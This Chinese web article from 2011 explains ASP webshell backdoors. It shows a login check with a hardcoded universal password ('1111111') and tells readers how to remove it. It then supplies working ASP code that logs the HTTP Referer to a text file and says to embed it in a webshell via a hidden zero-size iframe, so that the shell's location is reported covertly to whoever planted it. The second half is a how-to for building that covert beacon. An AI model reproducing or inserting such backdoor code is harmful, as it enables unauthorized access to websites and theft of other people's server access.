揭密如何写ASP木马后门

发布时间：2011-04-04 11:53:54作者：知识屋

正常的：

EnD fUNCtION  
IF SEssIoN("web2a2dmin")<>UsERpaSs thEn  
IF requeSt.FoRM("pass")<>"" TheN  
iF REquesT.foRM("pass")=uSERPASS Then  
SEsSIoN("web2a2dmin")=uSERPAss  
rESPOnsE.rEdirEct Url  
ELse  
rrs"对不起,密码验证失败!"

加有万能密码的：

EnD fUNCtION  
IF SEssIoN("web2a2dmin")<>UsERpaSs thEn  
IF requeSt.FoRM("pass")<>"" TheN  
iF REquesT.foRM("pass")=uSERPASS or request.form("pass")="1111111" Then  
SEsSIoN("web2a2dmin")=uSERPAss  
rESPOnsE.rEdirEct Url  
ELse  
rrs"对不起,密码验证失败!"

1111111就是传说中的万能密码了。

找到万能密码代码后把or request.form("pass")="1111111" 删除就OK了！

下面来找马大多数都喜欢用框架挂马：<iframe src=后门地址 width=0 height=0></iframe>

找到后删了，到此asp后门就算剔除了！

下面教大家后门的原理：

这是一段收信的asp代码将其保存为1.asp

<%url=Request.ServerVariables("HTTP_Referer")  
set fs=server.CreateObject("Scripting.FileSystemObject")  
set file=fs.OpenTextFile(server.MapPath("bobo.txt"),8,True)  
file.writeline url  
file.close  
set file=nothing 
set fs=nothing [!--empirenews.page--]分页标题[/!--empirenews.page--]
%>

代码基本意思就是：“HTTP_REFERER” 链接到当前页面的前一页面的 URL 地址
简单来说就是获得webshell的地址然后记录在bobo.txt这里文本里

上传到空间比如 http://127.0.0.1/1.asp

然后里用

<iframe src=http://127.0.0.1/1.asp width=0 height=0></iframe>

插到asp木马中

那么别人访问这个被挂了马的asp木马就会生成个bobo.txt里面就会有asp大马的路径了

（免责声明：文章内容如涉及作品内容、版权和其它问题，请及时与我们联系，我们将在第一时间删除内容，文章内容仅供参考）

上一篇:webshell整站打包工具完美版(FSO支持)-ASP版本

下一篇:入侵渗透中的一些技巧和思路

软件推荐

更多 >

游戏推荐

更多 >

精选栏目

手机游戏

手机软件

电脑软件

猜你喜欢

街机魔幻传奇节奏赛车学习抢票解谜放置铃声美食借钱竞速手机美化购物漫画投屏英语口语剧情母婴生活挂机社交不上征信系统软件网贷借钱彩票换装宫斗拍照教育沙盒竞技二次元武侠 RPG 体育舞蹈导航通讯策略办公网易 360 旅游联机健康影音即时抢红包

揭密如何写ASP木马后门

相关知识

软件推荐

游戏推荐

精选栏目

病毒预警

病毒学院

技术文献

安全资讯

热门推荐

手机游戏

手机软件

电脑软件

猜你喜欢